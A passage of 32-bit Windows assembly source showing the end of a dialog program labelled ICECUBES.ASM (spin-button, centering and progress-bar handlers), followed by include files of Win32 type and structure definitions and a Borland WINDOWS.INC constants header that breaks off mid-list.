CheckCommand:+ cmp [wparam], 1009+ je Exit+ cmp [wparam], 1014+ je SetOkFlag+ xor eax, eax+ ret++ SpinButtonClick:+ xor eax, eax+ mov ecx, [wparam]+ rol ecx, 16+ mov ax, cx++ mov ecx, pastvalue+ cmp ecx, eax+ jge PressedUp++ PressedDown:+ mov pastvalue, eax+ cmp doneflag, 00h+ jne Reset+ cmp currentvalue, '0'+ je DontDecrease+ dec byte ptr currentvalue++ DontDecrease:+ push offset currentvalue+ push 00h+ push WM_SETTEXT+ push 1003+ push handle+ call SendDlgItemMessageA+ mov doneflag, 01h+ xor eax, eax+ ret++ PressedUp:+ mov pastvalue, eax+ cmp currentvalue, '9'+ je Reset+ cmp doneflag, 00h+ jne Reset+ inc byte ptr currentvalue+ push offset currentvalue+ push 00h+ push WM_SETTEXT+ push 1003+ push handle+ call SendDlgItemMessageA+ mov doneflag, 01h+ xor eax, eax+ ret++ Reset:+ mov doneflag, 00h+ xor eax, eax+ ret++ SetOkFlag:+ mov okflag, 01h+ jmp Exit++ CenterDlg1:+ push offset dlgrect+ push handle+ call GetWindowRect+ call GetDesktopWindow+ push offset desktoprect+ push eax+ call GetWindowRect++ push 00h+ mov eax, dlgrect.rcBottom+ sub eax, dlgrect.rcTop+ mov dlgheight, eax+ push eax ; height+ mov eax, dlgrect.rcRight+ sub eax, dlgrect.rcLeft+ mov dlgwidth, eax ; width+ push eax+ mov eax, desktoprect.rcBottom+ sub eax, dlgheight+ shr eax, 1+ push eax ; bottom+ mov eax, desktoprect.rcRight+ sub eax, dlgwidth+ shr eax, 1+ push eax ; top+ push handle ; handle+ call MoveWindow ; move to center+ mov initflag, 01h+ xor eax, eax+ ret++ InitValues:+ mov initflag, 00h+ call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h+ call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11+ call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12+ call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13+ call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14+ call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h+ call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue+ call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3+ call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4+ call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h+ call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h+ call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h+ call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h+ call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h+ xor eax, eax+ ret++ Exit1:+ push wparam+ push handle+ call EndDialog+ mov eax, 01h+ ret++MYDIALOG_1 endp++PROGRESS proc handle: dword++ ClearProgressBar:+ push 00h+ push 00h+ push PBM_SETPOS+ push 105+ push handle+ call SendDlgItemMessageA+ xor eax, eax+ xor ecx, ecx++ LittleLoop:+ inc ecx+ cmp ecx, 100000h+ jne LittleLoop++ ProgressLoop:+ inc eax+ push 00h+ push eax+ push PBM_SETPOS+ push 105+ push handle+ call SendDlgItemMessageA+ xor ecx, ecx+ cmp eax, 99d+ jne LittleLoop++ ProgressDone:+ mov flag, 02h+ push threadid+ call CloseHandle+ ret++PROGRESS endp++;============================================================================;++end Start+end+�������������������������������������������������������������[ICECUBES.ASM]���+����������������������������������������������������������������[MYINC.INC]���+LPVOID typedef DWORD ;long ptr to buffer+BOOL typedef DWORD ;boolean variable+HANDLE typedef DWORD ;unspecified handle+LPSTR typedef DWORD ;long ptr to string+LPBYTE typedef DWORD ;long ptr to byte+ACHAR typedef BYTE ;ansi character+CHAR textequ <ACHAR> ;ansi char type+CHAR_ equ 1 ;ansi char size++CREATE_DEFAULT_ERROR_MODE equ 04000000h++SECURITY_ATTRIBUTES_ equ 4+4+4+SECURITY_ATTRIBUTES struct+sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size+sa_lpSecurityDescriptor LPVOID 0 ;security descriptor+sa_bInheritHandle BOOL 0 ;handle inheritance flag+SECURITY_ATTRIBUTES ends++PROCESS_INFORMATION struct+pi_hProcess HANDLE 0 ;process handle+pi_hThread HANDLE 0 ;thread handle+pi_dwProcessId DWORD 0 ;process id+pi_dwThreadId DWORD 0 ;thread id+PROCESS_INFORMATION ends+PROCESS_INFORMATION_ equ 4+4+4+4++STARTUPINFO struct+si_cb DWORD 0 ;structure size+si_lpReserved LPSTR 0 ;(reserved)+si_lpDesktop LPSTR 0 ;desktop name+sl_lpTitle LPSTR 0 ;console window title+si_dwX DWORD 0 ;window origin (column)+si_dwY DWORD 0 ;window origin (row)+si_dwXSize DWORD 0 ;window width+si_dwYSize DWORD 0 ;window height+si_dwXCountChars DWORD 0 ;screen buffer width+si_dwYCountChars DWORD 0 ;screen buffer height+si_dwFillAttribute DWORD 0 ;console window initialization+si_dwFlags DWORD 0 ;structure member flags+si_wShowWindow WORD 0 ;ShowWindow() parameter+si_cbReserved2 WORD 0 ;(reserved)+si_lpReserved2 LPBYTE 0 ;(reserved)+si_hStdInput HANDLE 0 ;standard input handle+si_hStdOutput HANDLE 0 ;standard output handle+si_hStdError HANDLE 0 ;standard error handle+STARTUPINFO ends+STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4++SYSTEMTIME struct+wYear WORD 0 ;current year+wMonth WORD 0 ;current month (1..12)+wDayOfWeek WORD 0 ;day of week (0 = sunday)+wDay WORD 0 ;current day of the month+wHour WORD 0 ;current hour+wMinute WORD 0 ;current minute+wSecond WORD 0 ;current second+wMilliseconds WORD 0 ;current millisecond+SYSTEMTIME ends+SYSTEMTIME_ equ 2+2+2+2+2+2+2+2+;++WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)+WIN32_FIND_DATA struct+fd_dwFileAttributes DWORD 0 ;file attributes+fd_ftCreationTime DWORD 0, 0 ;time of file creation+fd_ftLastAccessTime DWORD 0, 0 ;time of last file access+fd_ftLastWriteTime DWORD 0, 0 ;time of last write access+fd_nFileSizeHigh DWORD 0 ;high-order word of file size+fd_nFileSizeLow DWORD 0 ;low-order word of file size+fd_dwReserved0 DWORD 0 ;(reserved)+fd_dwReserved1 DWORD 0 ;(reserved)+fd_cFileName CHAR 260 dup(0) ;matching file name+fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name+WIN32_FIND_DATA ends+;+����������������������������������������������������������������[MYINC.INC]���+��������������������������������������������������������������[WINDOWS.INC]���+;*************************************************************************+;+; WINDOWS.INC - Windows assembly language structures & constants+;+;*************************************************************************+;+;+; C/C++ Run Time Library - Version 7.0+;+; Copyright (c) 1985, 1996 by Borland International+; All Rights Reserved.+;+;+; Conditional Block includes: (True states)+; NOTEXT - don't include TextMetric struc & text drawing modes & stock objs.+; NORASTOPS - don't include binary and ternary raster ops.+; NOVK - don't include virtual key definitions+; NOMB - don't include message box definitions+; NOWM - don't include window messages+;+;+FALSE = 0+TRUE = 1+NULL = 0+++;*******************************************************************+;+; Misc EQU's+;+;*******************************************************************++SB_SETTEXTA equ WM_USER+01+SB_GETTEXTA equ WM_USER+02+SB_GETTEXTLENGTHA equ WM_USER+03+SB_SETPARTS equ WM_USER+04+SB_GETPARTS equ WM_USER+06+SB_GETBORDERS equ WM_USER+07+SB_SETMINHEIGHT equ WM_USER+08+SB_SIMPLE equ WM_USER+09+SB_GETRECT equ WM_USER+10+SB_SETTEXTW equ WM_USER+11+SB_GETTEXTLENGTHW equ WM_USER+12+SB_GETTEXTW equ WM_USER+13++GCL_MENUNAME equ -8+GCL_HBRBACKGROUND equ -10+GCL_HCURSOR equ -12+GCL_HICON equ -14+GCL_HMODULE equ -16+GCL_CBWNDEXTRA equ -18+GCL_CBCLSEXTRA equ -20+GCL_WNDPROC equ -24+GCL_STYLE equ -26++PBM_SETRANGE equ WM_USER+1+PBM_SETPOS equ WM_USER+2+PBM_DELTAPOS equ WM_USER+3+PBM_SETSTEP equ WM_USER+4+PBM_STEPIT equ WM_USER+5++ICON_SMALL equ 0+DEFAULT_PITCH equ 0+DEFAULT_QUALITY equ 0+OEM_CHARSET equ 255+CLIP_CHARACTER_PRECIS equ 1+CLIP_DEFAULT_PRECIS equ 0+OUT_DEFAULT_PRECIS equ 0++;*******************************************************************+;+; Window Class+;+;*******************************************************************++DLGWINDOWEXTRA equ 30++WNDCLASSEX STRUCT+ wc_cbSize DWORD ?+ wc_style DWORD ?+ wc_lpfnWndProc DWORD ?+ wc_cbClsExtra DWORD ?+ wc_cbWndExtra DWORD ?+ wc_hInstance DWORD ?+ wc_hIcon DWORD ?+ wc_hCursor DWORD ?+ wc_hbrBackground DWORD ?+ wc_lpszMenuName DWORD ?+ wc_lpszClassName DWORD ?+ wc_hIconSm DWORD ?+WNDCLASSEX ENDS++;*******************************************************************+;+; Message Structure+;+;*******************************************************************++MSG STRUCT+ msg_hwnd DWORD ?+ msg_message DWORD ?+ msg_wParam DWORD ?+ msg_lParam DWORD ?+ msg_time DWORD ?+ msg_pt QWORD ?+MSG ENDS++;*******************************************************************+;+; Open Filename Dialog+;+;*******************************************************************++OPENFILENAME STRUCT+ of_lStructSize DWORD ?+ of_hWndOwner DWORD ?+ of_hInstance DWORD ?+ of_lpstrFilter DWORD ?+ of_lpstrCustomFilter DWORD ?+ of_nMaxCustFilter DWORD ?+ of_nFilterIndex DWORD ?+ of_lpstrFile DWORD ?+ of_nMaxFile DWORD ?+ of_lpstrFileTitle DWORD ?+ of_nMaxFileTitle DWORD ?+ of_lpstrInitialDir DWORD ?+ of_lpstrTitle DWORD ?+ of_Flags DWORD ?+ of_nFileOffset WORD ?+ of_nFileExtension WORD ?+ of_lpstrDefExt DWORD ?+ of_lCustData DWORD ?+ of_lpfnHook DWORD ?+ of_lpTemplateName DWORD ?+OPENFILENAME ENDS++OFN_ALLOWMULTISELECT equ 00000200h+OFN_CREATEPROMPT equ 00002000h+OFN_ENABLEHOOK equ 00000020h+OFN_ENABLETEMPLATE equ 00000040h+OFN_ENABLETEMPLATEHANDLE equ 00000080h+OFN_EXPLORER equ 00080000h+OFN_EXTENSIONDIFFERENT equ 00000400h+OFN_FILEMUSTEXIST equ 00001000h+OFN_HIDEREADONLY equ 00000004h+OFN_LONGNAMES equ 00200000h+OFN_NOCHANGEDIR equ 00000008h+OFN_NODEREFERENCELINKS equ 00100000h+OFN_NOLONGNAMES equ 00040000h+OFN_NONETWORKBUTTON equ 00020000h+OFN_NOREADONLYRETURN equ 00008000h+OFN_NOTESTFILECREATE equ 00010000h+OFN_NOVALIDATE equ 00000100h+OFN_OVERWRITEPROMPT equ 00000002h+OFN_PATHMUSTEXIST equ 00000800h+OFN_READONLY equ 00000001h+OFN_SHAREAWARE equ 00004000h+OFN_SHOWHELP equ 00000010h+OFN_SHAREFALLTHROUGH equ 2+OFN_SHARENOWARN equ 1+OFN_SHAREWARN equ 0+++;*******************************************************************+;+; List View Control+;+;*******************************************************************++LVM_GETITEM equ LVM_FIRST + 5+LVM_GETITEMW equ LVM_FIRST + 75+LVM_SETITEM equ LVM_FIRST + 6+LVM_SETITEMW equ LVM_FIRST + 76+LVM_INSERTITEM equ LVM_FIRST + 7+LVM_INSERTITEMW equ LVM_FIRST + 77+LVM_DELETEITEM equ LVM_FIRST + 8+LVM_DELETEALLITEMS equ LVM_FIRST + 9+LVM_GETCALLBACKMASK equ LVM_FIRST + 10+LVM_FIRST equ 1000h+LVM_SETCALLBACKMASK equ LVM_FIRST + 11+LVM_GETITEMRECT equ LVM_FIRST + 14+LVM_SETITEMPOSITION equ LVM_FIRST + 15+LVM_GETITEMPOSITION equ LVM_FIRST + 16+LVM_GETSTRINGWIDTH equ LVM_FIRST + 17+LVM_GETSTRINGWIDTHW equ LVM_FIRST + 87+LVCF_FMT equ 0001h+LVCF_WIDTH equ 0002h+LVCF_TEXT equ 0004h+LVCF_SUBITEM equ 0008h+LVCFMT_LEFT equ 0000h+LVCFMT_RIGHT equ 0001h+LVCFMT_CENTER equ 0002h+LVCFMT_JUSTIFYMASK equ 0003h+LVM_GETCOLUMN equ LVM_FIRST + 25+LVM_GETCOLUMNW equ LVM_FIRST + 95+LVM_SETCOLUMN equ LVM_FIRST + 26+LVM_SETCOLUMNW equ LVM_FIRST + 96+LVM_INSERTCOLUMN equ LVM_FIRST + 27+LVM_INSERTCOLUMNW equ LVM_FIRST + 97+LVM_DELETECOLUMN equ LVM_FIRST + 28+LVM_GETCOLUMNWIDTH equ LVM_FIRST + 29+LVIF_TEXT equ 0001h+LVIF_IMAGE equ 0002h+LVIF_PARAM equ 0004h+LVIF_STATE equ 0008h++++LV_ITEM STRUC+ lvi_imask DWORD ?+ lvi_iItem DWORD ?+ lvi_iSubItem DWORD ?+ lvi_state DWORD ?+ lvi_stateMask DWORD ?+ lvi_pszText DWORD ?+ lvi_cchTextMax DWORD ?+ lvi_iImage DWORD ?+ lvi_lParam DWORD ?+ lvi_iIndent DWORD ?+LV_ITEM ENDS++LV_FINDINFO STRUC+ lvfi_flags DWORD ?+ lvfi_psz DWORD ?+ lvfi_lParam DWORD ?+ lvfi_pt QWORD ?+ lvfi_vkDirection DWORD ?+LV_FINDINFO ENDS++LV_HITTESTINFO STRUC+ lvht_pt QWORD ?+ lvht_flags DWORD ?+ lvht_iItem DWORD ?+LV_HITTESTINFO ENDS++LV_COLUMN STRUC+ lvc_imask DWORD ?+ lvc_fmt DWORD ?+ lvc_lx DWORD ?+ lvc_pszText DWORD ?+ lvc_cchTextMax DWORD ?+ lvc_iSubItem DWORD ?+LV_COLUMN ENDS++;*******************************************************************+;+; Rectangle+;+;*******************************************************************++RECT struc+ rcLeft dd ?+ rcTop dd ?+ rcRight dd ?+ rcBottom dd ?+RECT ends++;*******************************************************************+;+; Window Class structure+;+;*******************************************************************++WNDCLASS struc+ clsStyle dw ? ; class style+ clsLpfnWndProc dd ?+ clsCbClsExtra dw ?+ clsCbWndExtra dw ?+ clsHInstance dw ? ; instance handle+ clsHIcon dw ? ; class icon handle+ clsHCursor dw ? ; class cursor handle+ clsHbrBackground dw ? ; class background brush+ clsLpszMenuName dd ? ; menu name+ clsLpszClassName dd ? ; far ptr to class name+WNDCLASS ends++IFNDEF NOTEXT+TEXTMETRIC struc+ tmHeight dw ?+ tmAscent dw ?+ tmDescent dw ?+ tmIntLeading dw ?+ tmExtLeading dw ?+ tmAveCharWidth dw ?+ tmMaxCharWidth dw ?+ tmWeight dw ?+ tmItalic db ?+ tmUnderlined db ?+ tmStruckOut db ?+ tmFirstChar db ?+ tmLastChar db ?+ tmDefaultChar db ?+ tmBreakChar db ?+ tmPitch db ?+ tmCharSet db ?+ tmOverhang dw ?+ tmAspectX dw ?+ tmAspectY dw ?+TEXTMETRIC ends++LF_FACESIZE EQU 32++LOGFONT struc+ lfHeight dw ?+ lfWidth dw ?+ lfEscapement dw ?+ lfOrientation dw ?+ lfWeight dw ?+ lfItalic db ?+ lfUnderline db ?+ lfStrikeOut db ?+ lfCharSet db ?+ lfOutPrecision db ?+ lfClipPrecision db ?+ lfQuality db ?+ lfPitchAndFamily db ?+ lfFaceName db LF_FACESIZE dup(?)+LOGFONT ends++LOGBRUSH struc+ lbStyle dw ?+ lbColor dd ?+ lbHatch dw ?+LOGBRUSH ends++;+; Text Drawing modes+;+TRANSPARENT = 1+OPAQUE = 2+;+; Mapping Modes+;+MM_TEXT = 1+MM_LOMETRIC = 2+MM_HIMETRIC = 3+MM_LOENGLISH = 4+MM_HIENGLISH = 5+MM_TWIPS = 6+MM_ISOTROPIC = 7+MM_ANISOTROPIC = 8+;+; Coordinate Modes+;+ABSOLUTE = 1+RELATIVE = 2+;+; Stock Logical Objects+;+WHITE_BRUSH = 0+LTGRAY_BRUSH = 1+GRAY_BRUSH = 2+DKGRAY_BRUSH = 3+BLACK_BRUSH = 4+NULL_BRUSH = 5+HOLLOW_BRUSH = 5+WHITE_PEN = 6+BLACK_PEN = 7+NULL_PEN = 8+DOT_MARKER = 9+OEM_FIXED_FONT = 10+ANSI_FIXED_FONT = 11+ANSI_VAR_FONT = 12+SYSTEM_FONT = 13+DEVICE_DEFAULT_FONT = 14+DEFAULT_PALETTE = 15+SYSTEM_FIXED_FONT = 16+ENDIF+;+; Brush Styles+;+BS_SOLID = 0+BS_NULL = 1+BS_HOLLOW = BS_NULL+BS_HATCHED = 2+BS_PATTERN = 3+BS_INDEXED = 4+BS_DIBPATTERN = 5+;+; Hatch Styles+;+HS_HORIZONTAL = 0 ; -----+HS_VERTICAL = 1 ; |||||+HS_FDIAGONAL = 2 ; \\\\\+HS_BDIAGONAL = 3 ; /////+HS_CROSS = 4 ; ++++++HS_DIAGCROSS = 5 ; xxxxx+;+; Pen Styles+;+PS_SOLID = 0+PS_DASH = 1 ; -------+PS_DOT = 2 ; .......+PS_DASHDOT = 3 ; _._._._+PS_DASHDOTDOT = 4 ; _.._.._+PS_NULL = 5+PS_INSIDEFRAME = 6+;+; Device Parameters for GetDeviceCaps()+;+DRIVERVERSION =0 ; Device driver version+TECHNOLOGY =2 ; Device classification+HORZSIZE =4 ; Horizontal size in millimeters+VERTSIZE =6 ; Vertical size in millimeters+HORZRES =8 ; Horizontal width in pixels+VERTRES =10 ; Vertical width in pixels+BITSPIXEL =12 ; Number of bits per pixel+PLANES =14 ; Number of planes+NUMBRUSHES =16 ; Number of brushes the device has+NUMPENS =18 ; Number of pens the device has+NUMMARKERS =20 ; Number of markers the device has+NUMFONTS =22 ; Number of fonts the device has+NUMCOLORS =24 ; Number of colors the device supports+PDEVICESIZE =26 ; Size required for device descriptor+CURVECAPS =28 ; Curve capabilities+LINECAPS =30 ; Line capabilities+POLYGONALCAPS =32 ; Polygonal capabilities+TEXTCAPS =34 ; Text capabilities+CLIPCAPS =36 ; Clipping capabilities+RASTERCAPS =38 ; Bitblt capabilities+ASPECTX =40 ; Length of the X leg+ASPECTY =42 ; Length of the Y leg+ASPECTXY =44 ; Length of the hypotenuse++LOGPIXELSX =88 ; Logical pixels/inch in X+LOGPIXELSY =90 ; Logical pixels/inch in Y++SIZEPALETTE =104 ; Number of entries in physical palette+NUMRESERVED =106 ; Number of reserved entries in palette+COLORRES =108 ; Actual color resolution+;+ifndef NOGDICAPMASKS+;+; Device Capability Masks:+;+; Device Technologies+DT_PLOTTER = 0 ; /* Vector plotter */+DT_RASDISPLAY = 1 ; /* Raster display */+DT_RASPRINTER = 2 ; /* Raster printer */+DT_RASCAMERA = 3 ; /* Raster camera */+DT_CHARSTREAM = 4 ; /* Character-stream, PLP */+DT_METAFILE = 5 ; /* Metafile, VDM */+DT_DISPFILE = 6 ; /* Display-file */+;+; Curve Capabilities+CC_NONE = 0 ; /* Curves not supported */+CC_CIRCLES = 1 ; /* Can do circles */+CC_PIE = 2 ; /* Can do pie wedges */+CC_CHORD = 4 ; /* Can do chord arcs */+CC_ELLIPSES = 8 ; /* Can do ellipese */+CC_WIDE = 16 ; /* Can do wide lines */+CC_STYLED = 32 ; /* Can do styled lines */+CC_WIDESTYLED = 64 ; /* Can do wide styled lines */+CC_INTERIORS = 128; /* Can do interiors */+;+; Line Capabilities+LC_NONE = 0 ; /* Lines not supported */+LC_POLYLINE = 2 ; /* Can do polylines */+LC_MARKER = 4 ; /* Can do markers */+LC_POLYMARKER = 8 ; /* Can do polymarkers */+LC_WIDE = 16 ; /* Can do wide lines */+LC_STYLED = 32 ; /* Can do styled lines */+LC_WIDESTYLED = 64 ; /* Can do wide styled lines */+LC_INTERIORS = 128; /* Can do interiors */+;+; Polygonal Capabilities+PC_NONE = 0 ; /* Polygonals not supported */+PC_POLYGON = 1 ; /* Can do polygons */+PC_RECTANGLE = 2 ; /* Can do rectangles */+PC_WINDPOLYGON = 4 ; /* Can do winding polygons */+PC_TRAPEZOID = 4 ; /* Can do trapezoids */+PC_SCANLINE = 8 ; /* Can do scanlines */+PC_WIDE = 16 ; /* Can do wide borders */+PC_STYLED = 32 ; /* Can do styled borders */+PC_WIDESTYLED = 64 ; /* Can do wide styled borders */+PC_INTERIORS = 128; /* Can do interiors */+;+; Polygonal Capabilities */+CP_NONE = 0 ; /* No clipping of output */+CP_RECTANGLE = 1 ; /* Output clipped to rects */+;+; Text Capabilities+TC_OP_CHARACTER = 0001h ; /* Can do OutputPrecision CHARACTER */+TC_OP_STROKE = 0002h ; /* Can do OutputPrecision STROKE */+TC_CP_STROKE = 0004h ; /* Can do ClipPrecision STROKE */+TC_CR_90 = 0008h ; /* Can do CharRotAbility 90 */+TC_CR_ANY = 0010h ; /* Can do CharRotAbility ANY */+TC_SF_X_YINDEP = 0020h ; /* Can do ScaleFreedom X_YINDEPENDENT */+TC_SA_DOUBLE = 0040h ; /* Can do ScaleAbility DOUBLE */+TC_SA_INTEGER = 0080h ; /* Can do ScaleAbility INTEGER */+TC_SA_CONTIN = 0100h ; /* Can do ScaleAbility CONTINUOUS */+TC_EA_DOUBLE = 0200h ; /* Can do EmboldenAbility DOUBLE */+TC_IA_ABLE = 0400h ; /* Can do ItalisizeAbility ABLE */+TC_UA_ABLE = 0800h ; /* Can do UnderlineAbility ABLE */+TC_SO_ABLE = 1000h ; /* Can do StrikeOutAbility ABLE */+TC_RA_ABLE = 2000h ; /* Can do RasterFontAble ABLE */+TC_VA_ABLE = 4000h ; /* Can do VectorFontAble ABLE */+TC_RESERVED = 8000h+;+; Raster Capabilities+RC_BITBLT = 1 ; /* Can do standard BLT. */+RC_BANDING = 2 ; /* Device requires banding support */+RC_SCALING = 4 ; /* Device requires scaling support */+RC_BITMAP64 = 8 ; /* Device can support >64K bitmap */+RC_GDI20_OUTPUT = 0010h ; /* has 2.0 output calls */+RC_DI_BITMAP = 0080h ; /* supports DIB to memory */+RC_PALETTE = 0100h ; /* supports a palette */+RC_DIBTODEV = 0200h ; /* supports DIBitsToDevice */+RC_BIGFONT = 0400h ; /* supports >64K fonts */+RC_STRETCHBLT = 0800h ; /* supports StretchBlt */+RC_FLOODFILL = 1000h ; /* supports FloodFill */+RC_STRETCHDIB = 2000h ; /* supports StretchDIBits */++endif ;NOGDICAPMASKS++; palette entry flags+;+PC_RESERVED = 1 ;/* palette index used for animation */+PC_EXPLICIT = 2 ;/* palette index is explicit to device */+PC_NOCOLLAPSE = 4 ;/* do not match color to system palette */++; DIB color table identifiers+;+DIB_RGB_COLORS = 0 ;/* color table in RGBTriples */+DIB_PAL_COLORS = 1 ;/* color table in palette indices */+;++;constants for Get/SetSystemPaletteUse()+;+SYSPAL_STATIC = 1+SYSPAL_NOSTATIC = 2++; constants for CreateDIBitmap+CBM_INIT = 4 ;/* initialize bitmap */+;+; Bitmap format constants+BI_RGB = 0+BI_RLE8 = 1+BI_RLE4 = 2+;+;+ANSI_CHARSET = 0+SYMBOL_CHARSET = 2+OEM_CHARSET = 255+;+; styles for CombineRgn+;+RGN_AND = 1+RGN_OR = 2+RGN_XOR = 3+RGN_DIFF = 4+RGN_COPY = 5+;+; Predefined cursor & icon IDs+;+IDC_ARROW = 32512+IDC_IBEAM = 32513+IDC_WAIT = 32514+IDC_CROSS = 32515+IDC_UPARROW = 32516+IDC_SIZE = 32640+IDC_ICON = 32641+IDC_SIZENWSE = 32642+IDC_SIZENESW = 32643+IDC_SIZEWE = 32644+IDC_SIZENS = 32645++IDI_APPLICATION = 32512+IDI_HAND = 32513+IDI_QUESTION = 32514+IDI_EXCLAMATION = 32515+IDI_ASTERISK = 32516++;+; OEM Resource Ordinal Numbers */+;+OBM_CLOSE = 32754+OBM_UPARROW = 32753+OBM_DNARROW = 32752+OBM_RGARROW = 32751+OBM_LFARROW = 32750+OBM_REDUCE = 32749+OBM_ZOOM = 32748+OBM_RESTORE = 32747+OBM_REDUCED = 32746+OBM_ZOOMD = 32745+OBM_RESTORED = 32744+OBM_UPARROWD = 32743+OBM_DNARROWD = 32742+OBM_RGARROWD = 32741+OBM_LFARROWD = 32740+OBM_MNARROW = 32739+OBM_COMBO = 32738+OBM_UPARROWI = 32737+OBM_DNARROWI = 32736+OBM_RGARROWI = 32735+OBM_LFARROWI = 32734++OBM_OLD_CLOSE = 32767+OBM_SIZE = 32766+OBM_OLD_UPARROW = 32765+OBM_OLD_DNARROW = 32764+OBM_OLD_RGARROW = 32763+OBM_OLD_LFARROW = 32762+OBM_BTSIZE = 32761+OBM_CHECK = 32760+OBM_CHECKBOXES = 32759+OBM_BTNCORNERS = 32758+OBM_OLD_REDUCE = 32757+OBM_OLD_ZOOM = 32756+OBM_OLD_RESTORE = 32755++OCR_NORMAL = 32512+OCR_IBEAM = 32513+OCR_WAIT = 32514+OCR_CROSS = 32515+OCR_UP = 32516+OCR_SIZE = 32640+OCR_ICON = 32641+OCR_SIZENWSE = 32642+OCR_SIZENESW = 32643+OCR_SIZEWE = 32644+OCR_SIZENS = 32645+OCR_SIZEALL = 32646+OCR_ICOCUR = 32647++OIC_SAMPLE = 32512+OIC_HAND = 32513+OIC_QUES = 32514+OIC_BANG = 32515+OIC_NOTE = 32516++;+; Scroll bar constants+;+SB_HORZ = 0+SB_VERT = 1+SB_CTL = 2+SB_BOTH = 3+;+; Scroll Commands+;+SB_LINEUP = 0+SB_LINEDOWN = 1+SB_PAGEUP = 2+SB_PAGEDOWN = 3+SB_THUMBPOSITION = 4+SB_THUMBTRACK = 5+SB_TOP = 6+SB_BOTTOM = 7+SB_ENDSCROLL = 8+;+; MessageBox type flags+;+IFNDEF NOMB+MB_OK = 0000H+MB_OKCANCEL = 0001H+MB_ABORTRETRYIGNORE = 0002H+MB_YESNOCANCEL = 0003H+MB_YESNO = 0004H+MB_RETRYCANCEL = 0005H++MB_ICONHAND = 0010H+MB_ICONQUESTION = 0020H+MB_ICONEXCLAMATION = 0030H+MB_ICONASTERISK = 0040H++MB_DEFBUTTON1 = 0000H+MB_DEFBUTTON2 = 0100H+MB_DEFBUTTON3 = 0200H++MB_APPLMODAL = 0000H+MB_SYSTEMMODAL = 1000H+MB_TASKMODAL = 2000H++MB_NOFOCUS = 8000H++;+; Conventional dialog box and message box command IDs+;+IDOK = 1+IDCANCEL = 2+IDABORT = 3+IDRETRY = 4+IDIGNORE = 5+IDYES = 6+IDNO = 7+;+; Flags for OpenFile+;+OF_READ = 0000H+OF_WRITE = 0001H+OF_READWRITE = 0002H+OF_SHARE_COMPAT = 0000H+OF_SHARE_EXCLUSIVE = 0010H+OF_SHARE_DENY_WRITE = 0020H+OF_SHARE_DENY_READ = 0030H+OF_SHARE_DENY_NONE = 0040H+OF_PARSE = 0100H+OF_DELETE = 0200H+OF_VERIFY = 0400H ; Used with OF_REOPEN+OF_SEARCH = 0400H ; Used without OF_REOPEN+OF_CANCEL = 0800H+OF_CREATE = 1000H+OF_PROMPT = 2000H+OF_EXIST = 4000H+OF_REOPEN = 8000H++TF_FORCEDRIVE = 80H++OPENSTRUC STRUC+opLen db ?+opDisk db ?+opXtra dw ?+opDate dw ?+opTime dw ?+opFile db 120 dup (?)+OPENSTRUC ENDS+;+; DrawText format flags+;+DT_LEFT = 00H+DT_CENTER = 01H+DT_RIGHT = 02H+DT_TOP = 00H+DT_VCENTER = 04H+DT_BOTTOM = 08H+DT_WORDBREAK = 10H+DT_SINGLELINE = 20H+DT_EXPANDTABS = 40H+DT_TABSTOP = 80H+DT_NOCLIP = 0100H+DT_EXTERNALLEADING = 0200H+DT_CALCRECT = 0400H+DT_NOPREFIX = 0800H+DT_INTERNAL = 1000H+ENDIF++;+; ExtFloodFill style flags+;+FLOODFILLBORDER = 0+FLOODFILLSURFACE = 1++;+; Memory manager flags+;+LMEM_FIXED = 0000h+LMEM_MOVEABLE = 0002h+LMEM_NOCOMPACT = 0010H+LMEM_NODISCARD = 0020H+LMEM_ZEROINIT = 0040h+LMEM_MODIFY = 0080H+LMEM_DISCARDABLE= 0F00h+LHND = LMEM_MOVEABLE+LMEM_ZEROINIT+LPTR = LMEM_FIXED+LMEM_ZEROINIT+; Flags returned by LocalFlags (in addition to LMEM_DISCARDABLE)+LMEM_DISCARDED = 4000H+LMEM_LOCKCOUNT = 00FFH++NONZEROLHND = LMEM_MOVEABLE+NONZEROLPTR = LMEM_FIXED++++GMEM_FIXED = 0000h+GMEM_MOVEABLE = 0002h+GMEM_NOCOMPACT = 0010h+GMEM_NODISCARD = 0020h+GMEM_ZEROINIT = 0040h+GMEM_MODIFY = 0080h+GMEM_DISCARDABLE= 0100h+GMEM_NOT_BANKED = 1000h+GMEM_DDESHARE = 2000h+GMEM_SHARE = 2000h+GMEM_NOTIFY = 4000h+GMEM_LOWER = GMEM_NOT_BANKED+GHND = GMEM_MOVEABLE+GMEM_ZEROINIT+GPTR = GMEM_FIXED+GMEM_ZEROINIT++; Flags returned by GlobalFlags (in addition to GMEM_DISCARDABLE)+GMEM_DISCARDED = 4000h+GMEM_LOCKCOUNT = 00FFh++; Flags returned by GetWinFlags++WF_PMODE = 0001h+WF_CPU286 = 0002h+WF_CPU386 = 0004h+WF_CPU486 = 0008h+WF_STANDARD = 0010h+WF_WIN286 = 0010h+WF_ENHANCED = 0020h+WF_WIN386 = 0020h+WF_CPU086 = 0040h+WF_CPU186 = 0080h+WF_LARGEFRAME = 0100h+WF_SMALLFRAME = 0200h+WF_80x87 = 0400h+WF_PAGING = 0800h+WF_WLO = 8000h++; WEP fSystemExit flag values+WEP_SYSTEM_EXIT = 1+WEP_FREE_DLL = 0+++; Virtual Keys, Standard Set++IFNDEF NOVK+VK_LBUTTON = 01H+VK_RBUTTON = 02H+VK_CANCEL = 03H+VK_BACK = 08H+VK_TAB = 09H+VK_CLEAR = 0cH+VK_RETURN = 